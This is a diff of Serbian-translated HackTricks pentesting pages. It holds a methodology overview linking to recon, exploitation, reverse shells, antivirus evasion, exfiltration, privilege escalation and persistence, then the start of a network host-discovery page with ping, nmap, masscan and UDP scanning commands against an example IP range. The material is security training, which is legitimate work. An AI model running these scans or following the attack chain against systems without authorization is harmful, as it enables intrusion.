Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Obuka GCP Red Team Ekspert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru hakovanja** i hakovanje onoga što se ne može hakovati - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_). Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## Metodologija pentesta ## Pentesting Metodologija
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
_Logotipi Hacktricks-a dizajnirani od strane_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ _Logotipi Hacktricks dizajnirao_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
### 0- Fizički napadi ### 0- Fizički napadi
Da li imate **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../hardware-physical-access/physical-attacks.md) i druge o [**bekstvu iz GUI aplikacija**](../hardware-physical-access/escaping-from-gui-applications.md). Da li imate **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../hardware-physical-access/physical-attacks.md) i druge o [**bežanju iz GUI aplikacija**](../hardware-physical-access/escaping-from-gui-applications.md).
### 1 - [Otkrivanje hostova unutar mreže](pentesting-network/#discovering-hosts)/ [Otkrivanje resursa kompanije](external-recon-methodology/) ### 1 - [Otkriće hostova unutar mreže](pentesting-network/#discovering-hosts)/ [Otkriće imovine kompanije](external-recon-methodology/)
**Zavisno** od toga da li je **test** koji obavljate **interni ili eksterni test**, možda ćete biti zainteresovani za pronalaženje **hostova unutar mreže kompanije** (interni test) ili **pronalaženje resursa kompanije na internetu** (eksterni test). **U zavisnosti** od toga da li je **test** koji izvodite **interni ili eksterni test**, možda ćete biti zainteresovani za pronalaženje **hostova unutar mreže kompanije** (interni test) ili **pronalaženje imovine kompanije na internetu** (eksterni test).
{% hint style="info" %} {% hint style="info" %}
Imajte na umu da ako obavljate eksterni test, kada uspete da pristupite internoj mreži kompanije, trebalo bi da ponovo pokrenete ovaj vodič. Imajte na umu da ako izvodite eksterni test, kada uspete da dobijete pristup unutrašnjoj mreži kompanije, trebali biste ponovo započeti ovaj vodič.
{% endhint %} {% endhint %}
### **2-** [**Zabava sa mrežom**](pentesting-network/) **(Interni)** ### **2-** [**Zabavljanje sa mrežom**](pentesting-network/) **(Interni)**
**Ova sekcija se odnosi samo na interni test.**\ **Ova sekcija se primenjuje samo ako izvodite interni test.**\
Pre nego što napadnete hosta, možda biste radije **ukrali neke akreditive** **sa mreže** ili **snifovali** neke **podatke** kako biste **pasivno/aktivno(MitM)** saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Network**](pentesting-network/#sniffing). Pre nego što napadnete host, možda biste želeli da **ukradete neke akreditive** **sa mreže** ili **snifujete** neke **podatke** kako biste pasivno/aktivno (MitM) saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Mrežu**](pentesting-network/#sniffing).
### 3- [Skeniranje portova - Otkrivanje servisa](pentesting-network/#scanning-hosts) ### 3- [Port skeniranje - Otkriće usluga](pentesting-network/#scanning-hosts)
Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da saznate koje **servisi rade** na kojim portovima. Pogledajmo [**osnovne alate za skeniranje portova hostova**](pentesting-network/#scanning-hosts). Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da znate koje **usluge rade** na kojim portovima. Pogledajmo [**osnovne alate za skeniranje portova hostova**](pentesting-network/#scanning-hosts).
### **4-** [Pretraga eksploatacija verzija servisa](search-exploits.md) ### **4-** [Pretraživanje eksploita verzija usluga](search-exploits.md)
Kada saznate koje servise rade, a možda i njihovu verziju, morate **tražiti poznate ranjivosti**. Možda imate sreće i postoji eksploatacija koja će vam omogućiti pristup... Kada znate koje usluge rade, i možda njihovu verziju, morate **tražiti poznate ranjivosti**. Možda ćete imati sreće i postoji exploit koji vam može dati shell...
### **5-** Pentesting servisa ### **5-** Pentesting Usluge
Ako ne postoji nikakva napredna eksploatacija za bilo koji pokrenuti servis, trebalo bi da potražite **uobičajene loše konfiguracije u svakom pokrenutom servisu**. Ako nema nikakvog zanimljivog exploita za bilo koju aktivnu uslugu, trebali biste potražiti **uobičajene greške u konfiguraciji svake aktivne usluge.**
**Unutar ove knjige pronaći ćete vodič za pentestiranje najčešćih servisa** (i drugih koji nisu tako česti)**. Molimo, potražite u levom indeksu** _**PENTESTING**_ **odeljak** (servisi su poređani po njihovim podrazumevanim portovima). **Unutar ove knjige naći ćete vodič za pentestovanje najčešćih usluga** (i drugih koje nisu tako uobičajene)**. Molimo vas da potražite u levom indeksu _**PENTESTING**_ **sekciju** (usluge su poredane po njihovim podrazumevanim portovima).
**Želim da napomenem** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **deo (jer je najobimniji).**\ **Želim da napravim posebnu napomenu o** [**Pentestingu Web**](../network-services-pentesting/pentesting-web/) **delu (jer je to najopsežniji).**\
Takođe, ovde možete pronaći mali vodič o tome kako [**pronaći poznate ranjivosti u softveru**](search-exploits.md). Takođe, mali vodič o tome kako [**pronaći poznate ranjivosti u softveru**](search-exploits.md) može se naći ovde.
**Ako vaš servis nije unutar indeksa, potražite na Google-u** druge tutorijale i **javite mi ako želite da ga dodam.** Ako **ne možete naći ništa** na Google-u, obavite **svoj blind pentesting**, možete početi tako što ćete **se povezati sa servisom, fuzzovati ga i čitati odgovore** (ako ih ima). **Ako vaša usluga nije u indeksu, potražite na Google-u** za druge tutorijale i **javite mi ako želite da je dodam.** Ako **ne možete ništa pronaći** na Google-u, izvršite svoj **vlastiti slepi pentesting**, možete početi tako što ćete **povezati se na uslugu, fuzzovati je i čitati odgovore** (ako ih ima).
#### 5.1 Automatski alati #### 5.1 Automatski alati
Postoje i nekoliko alata koji mogu obaviti **automatsku procenu ranjivosti**. **Preporučio bih vam da probate** [**Legion**](https://github.com/carlospolop/legion)**, koji je alat koji sam kreirao i zasnovan je na beleškama o pentestiranju servisa koje možete pronaći u ovoj knjizi.** Postoji nekoliko alata koji mogu izvršiti **automatske procene ranjivosti**. **Preporučio bih vam da probate** [**Legion**](https://github.com/carlospolop/legion)**, koji je alat koji sam stvorio i zasniva se na beleškama o pentestovanju usluga koje možete pronaći u ovoj knjizi.**
#### **5.2 Brute-Force servisa** #### **5.2 Brute-Forcing usluga**
U nekim scenarijima, **Brute-Force** bi mogao biti koristan za **kompromitovanje** servisa. [**Pronađite ovde CheatSheet različitih servisa za Brute-Force napade**](brute-force.md)**.** U nekim scenarijima **Brute-Force** može biti koristan za **kompromitovanje** **usluge**. [**Pronađite ovde CheatSheet različitih usluga brute forcing**](brute-force.md)**.**
### 6- [Phishing](phishing-methodology/) ### 6- [Phishing](phishing-methodology/)
Ako do ovog trenutka niste pronašli značajnu ranjivost, **možda ćete morati da pokušate sa phishingom** kako biste ušli u mrežu. Možete pročitati moju phishing metodologiju [ovde](phishing-methodology/): Ako u ovom trenutku niste pronašli nijednu zanimljivu ranjivost, možda ćete morati da pokušate neki phishing kako biste ušli u mrežu. Možete pročitati moju metodologiju phishinga [ovde](phishing-methodology/):
### **7-** [**Dobijanje Shell-a**](shells/) ### **7-** [**Dobijanje Shell-a**](shells/)
Na neki način, trebalo bi da ste pronašli **neki način za izvršavanje koda** na žrtvi. Zatim, [lista mogućih alata unutar sistema koje možete koristiti za dobijanje reverznog shella bi bila veoma korisna](shells/). Na neki način biste trebali pronaći **neki način da izvršite kod** na žrtvi. Tada bi [lista mogućih alata unutar sistema koje možete koristiti za dobijanje reverznog shell-a bila veoma korisna](shells/).
Posebno u Windows-u možda će vam biti potrebna pomoć da **izbegnete antivirusne programe**: [**Proverite ovu stranicu**](../windows-hardening/av-bypass.md)**.**\\ Posebno na Windows-u mogli biste trebati pomoć da **izbegnete antiviruse**: [**Proverite ovu stranicu**](../windows-hardening/av-bypass.md)**.**\\
### 8- Unutra ### 8- Unutra
Ako imate problema sa shell-om, ovde možete pronaći mali **kompilaciju najkorisnijih komandi** za pentestere: Ako imate problema sa shell-om, ovde možete pronaći malu **kompilaciju najkorisnijih komandi** za pentestere:
* [**Linux**](../linux-hardening/useful-linux-commands.md) * [**Linux**](../linux-hardening/useful-linux-commands.md)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) * [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
@ -90,60 +91,61 @@ Ako imate problema sa shell-om, ovde možete pronaći mali **kompilaciju najkori
### **9 -** [**Ekstrakcija**](exfiltration.md) ### **9 -** [**Ekstrakcija**](exfiltration.md)
Verovatno će vam biti potrebno da **izvučete neke podatke sa žrtve** ili čak **ubacite nešto** (kao što su skripte za eskalaciju privilegija). **Ovde imate** [**post o uobičajenim alatima koje možete koristiti u te svrhe**](exfiltration.md)**.** Verovatno ćete morati da **izvučete neke podatke iz žrtve** ili čak **da uvedete nešto** (kao što su skripte za eskalaciju privilegija). **Ovde imate** [**post o uobičajenim alatima koje možete koristiti u te svrhe**](exfiltration.md)**.**
### **10- Eskalacija privilegija** ### **10- Eskalacija privilegija**
#### **10.1- Lokalna eskalacija privilegija** #### **10.1- Lokalna Privesc**
Ako niste **root/Administrator** unutar sistema, trebalo bi da pronađete način da **eskališete privilegije.**\ Ako niste **root/Administrator** unutar kutije, trebali biste pronaći način da **escalate privilegije.**\
Ovde možete pronaći **vodič za lokalnu eskalaciju privilegija** u [**Linuxu**](../linux-hardening/privilege-escalation/) **i u** [**Windowsu**](../windows-hardening/windows-local-privilege-escalation/)**.**\ Ovde možete pronaći **vodič za eskalaciju privilegija lokalno u** [**Linux-u**](../linux-hardening/privilege-escalation/) **i u** [**Windows-u**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Takođe, trebalo bi da proverite ove stranice o tome kako **Windows funkcioniše**: Trebalo bi da proverite i ove stranice o tome kako **Windows funkcioniše**:
* [**Autentikacija, akreditivi, privilegije tokena i UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) * [**Autentifikacija, Akreditivi, Token privilegije i UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* Kako funkcioniše [**NTLM**](../windows-hardening/ntlm/) * Kako funkcioniše [**NTLM**](../windows-hardening/ntlm/)
* Kako **ukrasti akreditive** u Windows-u * Kako [**ukrasti akreditive**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) u Windows-u
* Neke trikove o [_**Active Directory-u**_](../windows-hardening/active-directory-methodology/) * Neki trikovi o [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
**Ne zaboravite da pogledate najbolje alate za enumeraciju putanja lokalne eskalacije privilegija u Windowsu i Linuxu:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) **Ne zaboravite da proverite najbolje alate za enumeraciju Windows i Linux lokalnih putanja eskalacije privilegija:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Eskalacija privilegija u domenu** #### **10.2- Domain Privesc**
Ovde možete pronaći [**metodologiju koja objašnjava najčešće radnje za enumeraciju, eskalaciju privilegija i upornost na Active Directory-u**](../windows-hardening/active-directory-methodology/). Čak i ako je ovo samo pododeljak sekcije, ovaj proces može biti **izuzetno delikatan** u okviru zadatka Pentesting/Red Team. Ovde možete pronaći [**metodologiju koja objašnjava najčešće akcije za enumeraciju, eskalaciju privilegija i postojanje na Active Directory**](../windows-hardening/active-directory-methodology/). Čak i ako je ovo samo podsekcija jedne sekcije, ovaj proces može biti **izuzetno delikatan** na Pentesting/Red Team zadatku.
### 11 - POST ### 11 - POST
#### **11.1 - Pljačkanje** #### **11**.1 - Pljačka
Proverite da li možete pronaći više **šifri** unutar hosta ili ako imate **pristup drugim mašinama** sa **privilegijama** vašeg **korisnika**.\ Proverite da li možete pronaći više **lozinki** unutar hosta ili ako imate **pristup drugim mašinama** sa **privilegijama** vašeg **korisnika**.\
Ovde pronađite različite načine za [**izvlačenje šifri u Windows-u**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). Pronađite ovde različite načine za [**dump lozinki u Windows-u**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
#### 11.2 - Upornost #### 11.2 - Postojanost
**Koristite 2 ili 3 različita tipa mehanizama upornosti tako da nećete morati ponovo da eksploatišete sistem.**\ **Koristite 2 ili 3 različita tipa mehanizama postojanosti kako ne biste morali ponovo da eksploatišete sistem.**\
**Ovde možete pronaći neke** [**triikove upornosti na Active Directory-u**](../windows-hardening/active-directory-methodology/#persistence)**.** **Ovde možete pronaći neke** [**trikove postojanosti na Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Završiti post o upornosti u Windows-u i Linuxu TODO: Završiti postojanost u Windows-u i Linux-u
### 12 - Pivoting ### 12 - Pivotiranje
Sa **prikupljenim akreditivima** možete imati pristup drugim mašinama, ili možda treba da **otkrijete i skenirate nove hostove** (ponovo pokrenite metodologiju Pentesting-a) unutar novih mreža gde je vaš žrtva povezana.\ Sa **prikupljenim akreditivima** mogli biste imati pristup drugim mašinama, ili možda trebate **otkriti i skenirati nove hostove** (ponovo započnite Pentesting Metodologiju) unutar novih mreža na kojima je vaša žrtva povezana.\
U ovom slučaju, tuneliranje bi moglo biti neophodno. Ovde možete pronaći [**post koji govori o tuneliranju**](tunneling-and-port-forwarding.md).\ U ovom slučaju, tunelovanje bi moglo biti neophodno. Ovde možete pronaći [**post o tunelovanju**](tunneling-and-port-forwarding.md).\
Takođe obavezno proverite post o [Metodologiji pentestinga Active Directory-a](../windows-hardening/active-directory-methodology/). Tu ćete pronaći cool trikove za lateralno kretanje, eskalaciju privilegija i izvlačenje akreditiva.\ Definitivno biste takođe trebali proveriti post o [metodologiji pentestinga Active Directory](../windows-hardening/active-directory-methodology/). Tamo ćete pronaći sjajne trikove za lateralno kretanje, eskalaciju privilegija i dump akreditiva.\
Proverite takođe stranicu o [**NTLM-u**](../windows-hardening/ntlm/), može biti veoma korisno za pivoting u Windows okruženjima. Proverite takođe stranicu o [**NTLM**](../windows-hardening/ntlm/), može biti veoma korisna za pivotiranje u Windows okruženjima.
### VIŠE ### VIŠE
#### [Android Aplikacije](../mobile-pentesting/android-app-pentesting/) #### [Android Aplikacije](../mobile-pentesting/android-app-pentesting/)
#### **Eksploatisanje** #### **Eksploatacija**
* [**Osnovno eksploatisanje u Linuxu**](broken-reference) * [**Osnovna Linux Eksploatacija**](broken-reference)
* [**Osnovno eksploatisanje u Windows-u**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) * [**Osnovna Windows Eksploatacija**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [**Osnovni alati za eksploatisanje**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) * [**Osnovni alati za eksploataciju**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
#### [**Osnovni Python**](python/) #### [**Osnovni Python**](python/)
#### **Trikovi kriptovanja** #### **Crypto trikovi**
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) * [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
@ -151,20 +153,21 @@ Proverite takođe stranicu o [**NTLM-u**](../windows-hardening/ntlm/), može bit
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru hakovanja** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_). Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Obuka AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Obuka GCP Red Team Ekspert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,83 +1,86 @@
# Testiranje mreže # Pentesting Network
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**! **Bug bounty tip**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## Otkrivanje hostova sa spoljne strane ## Discovering hosts from the outside
Ovo će biti **kratka sekcija** o tome kako pronaći **IP adrese koje odgovaraju** sa **Interneta**.\ Ovo će biti **kratka sekcija** o tome kako pronaći **IP adrese koje odgovaraju** sa **Interneta**.\
U ovoj situaciji imate neki **opseg IP adresa** (možda čak i nekoliko **opsega**) i samo treba da pronađete **koje IP adrese odgovaraju**. U ovoj situaciji imate neki **opseg IP adresa** (možda čak i nekoliko **raspona**) i samo treba da pronađete **koje IP adrese odgovaraju**.
### ICMP ### ICMP
Ovo je **najlakši** i **najbrži** način da otkrijete da li je host dostupan ili ne.\ Ovo je **najlakši** i **najbrži** način da otkrijete da li je host aktivan ili ne.\
Možete pokušati da pošaljete neke **ICMP** pakete i **očekujete odgovore**. Najlakši način je jednostavno slanje **echo zahteva** i očekivanje odgovora. To možete uraditi koristeći jednostavnu `ping` komandu ili koristeći `fping` za **opsege**.\ Možete pokušati da pošaljete neke **ICMP** pakete i **očekujete odgovore**. Najlakši način je jednostavno slanje **echo zahteva** i očekivanje odgovora. To možete uraditi koristeći jednostavan `ping` ili koristeći `fping` za **raspone**.\
Takođe možete koristiti **nmap** da pošaljete druge vrste ICMP paketa (ovo će izbeći filtere za uobičajeni ICMP echo zahtev-odgovor). Takođe možete koristiti **nmap** da pošaljete druge tipove ICMP paketa (to će izbeći filtere za uobičajene ICMP echo zahtev-odgovor).
```bash ```bash
ping -c 1 199.66.11.4 # 1 echo request to a host ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
``` ```
### Otkriće TCP porta ### TCP Port Discovery
Veoma je uobičajeno da su svi tipovi ICMP paketa filtrirani. Zatim, sve što možete uraditi da proverite da li je host dostupan je **pokušati pronaći otvorene portove**. Svaki host ima **65535 portova**, tako da, ako imate "veliki" opseg, **ne možete** testirati da li je **svaki port** svakog hosta otvoren ili ne, to bi oduzelo previše vremena.\ Veoma je uobičajeno da se svi tipovi ICMP paketa filtriraju. Tada, sve što možete da uradite da proverite da li je host aktivan je **pokušati da pronađete otvorene portove**. Svaki host ima **65535 portova**, tako da, ako imate "veliki" opseg, **ne možete** testirati da li je **svaki port** svakog hosta otvoren ili ne, to će potrajati previše vremena.\
Zatim, ono što vam je potrebno je **brzi skener portova** ([masscan](https://github.com/robertdavidgraham/masscan)) i lista **najčešće korišćenih portova:** Tada, ono što vam je potrebno je **brzi skener portova** ([masscan](https://github.com/robertdavidgraham/masscan)) i lista **najčešće korišćenih portova:**
```bash ```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min) #Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
``` ```
### Otkrivanje HTTP porta Možete takođe izvršiti ovaj korak sa `nmap`, ali je sporije i `nmap` ima problema sa identifikovanjem aktivnih hostova.
Ovo je samo otkrivanje TCP porta korisno kada želite da se **usredsredite na otkrivanje HTTP** **servisa**: ### HTTP Port Discovery
Ovo je samo otkrivanje TCP portova korisno kada želite da **se fokusirate na otkrivanje HTTP** **usluga**:
```bash ```bash
masscan -p80,443,8000-8100,8443 199.66.11.0/24 masscan -p80,443,8000-8100,8443 199.66.11.0/24
``` ```
### Otkrivanje UDP porta ### UDP Port Discovery
Takođe možete pokušati da proverite da li je neki **UDP port otvoren** kako biste odlučili da li treba da **posvetite više pažnje** nekom **hostu.** Pošto UDP servisi obično **ne odgovaraju** sa **bilo kakvim podacima** na običan prazan UDP probni paket, teško je reći da li je port filtriran ili otvoren. Najlakši način da se ovo utvrdi je slanje paketa koji je povezan sa pokrenutim servisom, a pošto ne znate koji servis je pokrenut, trebalo bi da probate najverovatniji na osnovu broja porta: Možete takođe pokušati da proverite da li je neki **UDP port otvoren** kako biste odlučili da li treba da **obratite više pažnje** na **host.** Pošto UDP servisi obično **ne odgovaraju** sa **bilo kojim podacima** na običan prazan UDP probe paket, teško je reći da li je port filtriran ili otvoren. Najlakši način da to odlučite je da pošaljete paket vezan za aktivnu uslugu, a pošto ne znate koja usluga radi, trebali biste probati najverovatniju na osnovu broja porta:
```bash ```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet # The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable # The "--version-intensity 0" will make nmap only test the most probable
``` ```
Linija nmap-a koja je predložena ranije testiraće **top 1000 UDP portova** na svakom hostu unutar **/24** opsega, ali čak i to će trajati **>20min**. Ako su vam potrebni **najbrži rezultati**, možete koristiti [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Ovo će poslati ove **UDP probe** na njihove **očekivane portove** (za /24 opseg će trajati samo 1 minut): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ Linija nmap koja je predložena ranije će testirati **top 1000 UDP portova** na svakom hostu unutar **/24** opsega, ali čak i to će trajati **>20min**. Ako su potrebni **najbrži rezultati**, možete koristiti [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Ovo će poslati ove **UDP probe** na njihov **očekivani port** (za /24 opseg ovo će trajati samo 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, 